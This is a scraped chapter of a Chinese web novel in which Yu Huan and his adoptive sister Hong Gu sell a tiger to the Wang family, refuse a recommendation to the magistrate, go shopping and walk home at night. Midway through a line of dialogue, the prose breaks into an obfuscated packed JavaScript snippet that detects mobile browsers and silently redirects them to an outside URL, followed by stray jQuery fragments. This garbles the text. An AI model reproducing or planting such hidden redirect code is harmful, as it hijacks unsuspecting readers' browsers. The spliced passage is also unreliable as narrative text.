默认冷灰
24号文字
方正启体

24.第二十四回

作者:李明渊本书字数:K更新时间:
    红姑来了,于欢心满意足的窝回椅子里。


    小石头乖巧的坐在于欢身旁,甥舅两个滋滋儿的喝着茶,看红姑和人你来我往的应酬。


    王掌柜:“你这弟弟真真是不得了,大虫都能猎得。”


    红姑:“您过奖。我们乡下人自小在山间地头长大,身手难免灵活些。”


    王掌柜:“看看这切口,多齐整!一般人可没他这两下子。”


    红姑:“害!这孩子打小儿就能吃,力气可大!运气还好。这不,那大虫竟是自己撞上他柴刀来的。”


    王掌柜:“令弟一表人才,可有相看人家?我有一远房侄女……”


    红姑眼睛一转:“确有一门娃娃亲,逃荒时走散了,家里正找着呢。”


    王掌柜:“哎哟,那真是可惜了。可需要我帮忙?”


    红姑:“怎好劳烦您……”


    那边,红姑和人唠的热火朝天。


    这边,甥舅两个一副岁月静好。


    小石头:“小舅舅,我给你倒茶。”


    于欢:“乖啊。你小心些,别烫到手。”


    小石头:“嗯呐!”


    于欢笑眯眯的享受了小外甥的孝敬,拿着茶杯,边喝边看戏。


    滋儿。


    哎呀这茶真不错,不愧是大户人家的。


    呲溜。


    红姑可真厉害啊……


    …………


    适才刚被人带进来,红姑被那箱银子惊了一下。


    但她很快便反应过来。


    仔细验过成色,便镇定自若的看着王掌柜拿戥子秤银子。


    期间,还能分神应付对方的各种问题。


    虎尸被仆人们小心的抬了下去。


    那虎尸足有好几百斤,几个汉子合力才抬的动。


    王家二人看向于欢的眼神不免又灼热几分。


    王思文适才没打听到什么有用信息,犹不死心。


    他趁红姑分神的功夫,貌似不经意的聊了几句。


    诸如:家中可还有其他人,祖上是做什么的,和于欢两家是什么亲戚之类。


    哪知红姑比于欢嘴还严。


    红姑说了半天,除了她家祖上几代都是种地的,老家在何处之外,竟一点多余信息都没有。


    王思文:“你家那位二伯,既然能教出于兄这样厉害的徒弟,怎会默默无闻。”


    “二伯……?”红姑转头看了于欢一眼,突然愤愤道:“我竟不知,二伯还会功夫。他还偷着教了你?果真是偏心!”


    于欢立马低头认错:“是二伯不让说。表姐我错了……”


    王思文:装,你俩接着装!他算是看出来了,这姐弟俩的防备心重的很。


    再问怕是也问不出什么来。


    不过有本事的人,有些小秘密也无伤大雅。


    眼前这姐弟俩口音一致,那小童和于欢的态度也很亲昵。


    她们又是本地的农户,想来身份不会有大问题。


    心中打定主意,王思文当即便道:“这大虫我一家用不了,届时会送一部分到县衙去。你若有意,我到时可向县令大人举荐你。于兄弟如此好身手,定不会被埋没。你且在地方上磨炼些时日,待年岁再大些,或能去军中谋个前程也未可知。”


    以王思文这样的身份,举荐个把人才本是稀松平常之事。


    适才甫一见面,王忠虽然没有明说,但王思文是何等聪明人,王忠提到那大虫的情况,又重点说了是于欢一人所为,他当场就明白了王忠话中之意。


    是以,王思文一上来便旁敲侧击,想要打听清楚于欢家中情形。


    虽然这姐弟俩嘴都挺严,但基本情况他其实已经知晓。


    家庭简单,除了一个姐姐,家里人都死光了。


    尚未婚配,无家室负累。


    年纪轻,身份是最普通的庶民。


    这种人,通常只要有钱就能使动。


    若是再配一个合适的家生子,便能把他死死绑在自家。


    至于刚刚那位娘子说的娃娃亲,既然都走散了,那也可以是没有的。


    在这个时代,举荐人才是有好处的。


    一方面,本地县令能买他的好。


    另一方面,被提携的人也承了情。他日再见,便有几分香火情。若到关键时刻,保不齐就有大用。


    可谓是一举两得。


    大户人家广结善缘,这种撒网的事情做的多了。


    王思文问了人家八辈祖宗,这才轻飘飘的抛出一根橄榄枝,属于施恩。


    不管表面如何礼貌周到,骨子里还是一种上对下的轻慢态度。


    这事原是他做老了的,被举荐之人也从来只有感恩戴德。


    是以,他并不觉得自己的做法有问题。


    其实对于欢,他已经是用了些心思的。


    当今皇帝昏庸,最成器的那个被他亲手逼死,剩下了几个歪瓜裂枣。


    如今他身子破败的厉害,又迟迟不肯立下储君,似乎就连老天都看不下去了。


    北方大旱才刚结束,南边又传来水灾的消息。刚一入秋,边关胡族也在趁机作乱。


    王思文之所以没有继续科考,去争那个少年状元的名头,正是缘于此。


    如今入局,风险太大。


    就连他的祭酒爹,也是整日窝在书院里,不肯轻易站队。


    正是因为朝局动荡,武力值高强之人,出人头地的速度只会更快。


    在乱世,多认识些能人异士,便多一份安全保障。


    是以,王思文从一开始态度便很好。买下那虎尸,张口就是一千两。


    当他这种人有心想要交好一个人,很难让人产生恶感。


    所谓君子如玉,如切如磋。王思文便是这种人。


    大家族里养出的公子,言谈举止、品貌教养,皆是上乘。


    王思文为家中谋划,态度坦坦荡荡。


    这是为了双方都好的阳谋,他不信有人傻到拒绝。


    没想到,眼前之人就是个万中无一的“傻子”。


    于欢:“不了,我胆小。见了当官的容易说错话。”


    王思文:我信你个鬼。


    他堂堂一个举人,能和县令平起平坐,父亲又是当朝三品大员。


    就这样,于欢看到他也没半点畏惧之色。


    连带那个表姐,说话也是滴水不漏。


    这样的人会怕见官?!


    王思文转头看向红姑,想说当人姐姐的,总要关心一下表弟的前程吧?


    他刚才可是听说了,这位表姐独自抚养小儿,若是有个靠山,将来日子也能好过些。


    谁知红姑立马点头应和:“对对对,我们就想老老实实当个小老百姓。”她欢弟的身份可不经查,不见,说啥都不见!


    这姐弟俩当真是油盐不进!


    王思文简直要气笑了。


    一旁的王忠还要再劝,被他拦住了。


    王思文不是那等强人所难之人,只摇头笑道:“罢了,人各有志。于兄弟日后若是改了想法,可随时再来,若我不在,便去找王忠


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14825773|157005||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。”


    王掌柜当即点头应和:“对对,你若想通随时来找,我平日都在店中。除此之外,于小兄弟以后若是再打到什么野味,或者这位娘子采了新鲜的山货,也尽管送过来。我保管给你们一个好价钱。”


    王掌柜的态度十分殷勤。


    不管这人将来能不能有出息。


    单就眼下来讲,这可是能独自猎杀大虫之人,以后定还能打到不少好东西。


    哪怕为了他们酒肆,这关系也得维护好了。


    双方顺利结束此次交易。


    于欢和红姑因有了个卖货渠道,亦是开心。


    于欢把那箱银子放进红姑的背篓中,一把背在肩上。


    谢绝对方留饭的好意,三人高高兴兴的离开了。


    从王家酒肆出来,未时已过。


    于欢在附近小摊上买了几只大肉馒头。


    三人边走边吃,吃饱后买了些东西,便匆匆往家中赶去。


    刚走出临安城,天便黑了下来。


    …………


    她们其实拢共只去了几家店。


    第一站去的布庄。


    红姑买了些布料和棉花。


    于欢买了两床现成的棉被,并做好的各式男子衣衫、鞋袜等物。


    第二站是米行。


    家中粮食已经消耗的差不多,地里的庄稼还没到收获的时候。


    刚好挣钱,于欢便趁机多买了些。


    第三站就在米行隔壁,是家杂货铺子。


    于欢顺路在这儿买了些油和盐。


    最花时间的主要是最后一站。


    糊窗户用的油纸不在本区。


    于欢打听过,要去北边卖书籍纸张的那条字画街才有的买。


    于欢和红姑不熟北城地形,颇费了些时间才找到地方。


    彼时天已经晚了,她们买好油纸便赶紧出城往回走。


    路上,于欢挑了个挑子,左边是整整三袋粮食,右边是红姑来时背的那个大背篓。


    背篓里面,最底下放着于欢装银子的木箱,周围塞着于欢买的衣服鞋子。


    小石头挤在这堆东西中间,屁股底下坐着银箱子,半躺在背篓里,身下垫着被子,身上还盖着另一床厚厚的棉被,睡的正香。


    红姑背着另一个小些的背篓,里面装着油纸、棉花、盐巴、油等零碎物件儿,怀中还抱着两匹布料。


    今日是个上弦月,月光朦朦胧胧的,不是很亮。


    漆黑一片的旷野中,红姑背着背篓、抱着布匹,跟于欢深一脚浅一脚的往村里走去。


    …………


    人在赶路时,总爱想些事情打发时间。


    这真真是叫人惊奇,红姑边走边忍不住想。


    短短几个月,她竟然已经拿身边这人当亲弟弟看待。


    若是换做村里其他男子,便是年纪再小,红姑自认也不会放心跟着对方走夜路。


    可换了于欢,她却只觉放心。


    最开始,红姑便注意到于欢的特殊之处。


    当时她想着,管他是山间精怪,还是下凡的仙童,总归只是借势一用。只要能让她们母子在新的地方站稳脚跟便好。


    在那之后,于欢做什么,跟她便没有关系了。


    因此,刚到村子的一个多月,红姑带着小石头,几乎没有主动接触过于欢。


    就连于欢家房子盖好,她家还在建的时候,红姑宁可带着小石头睡在废墟上,也从未想过去隔壁借住。


    那么,她们是从什么时候熟悉起来的呢?
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)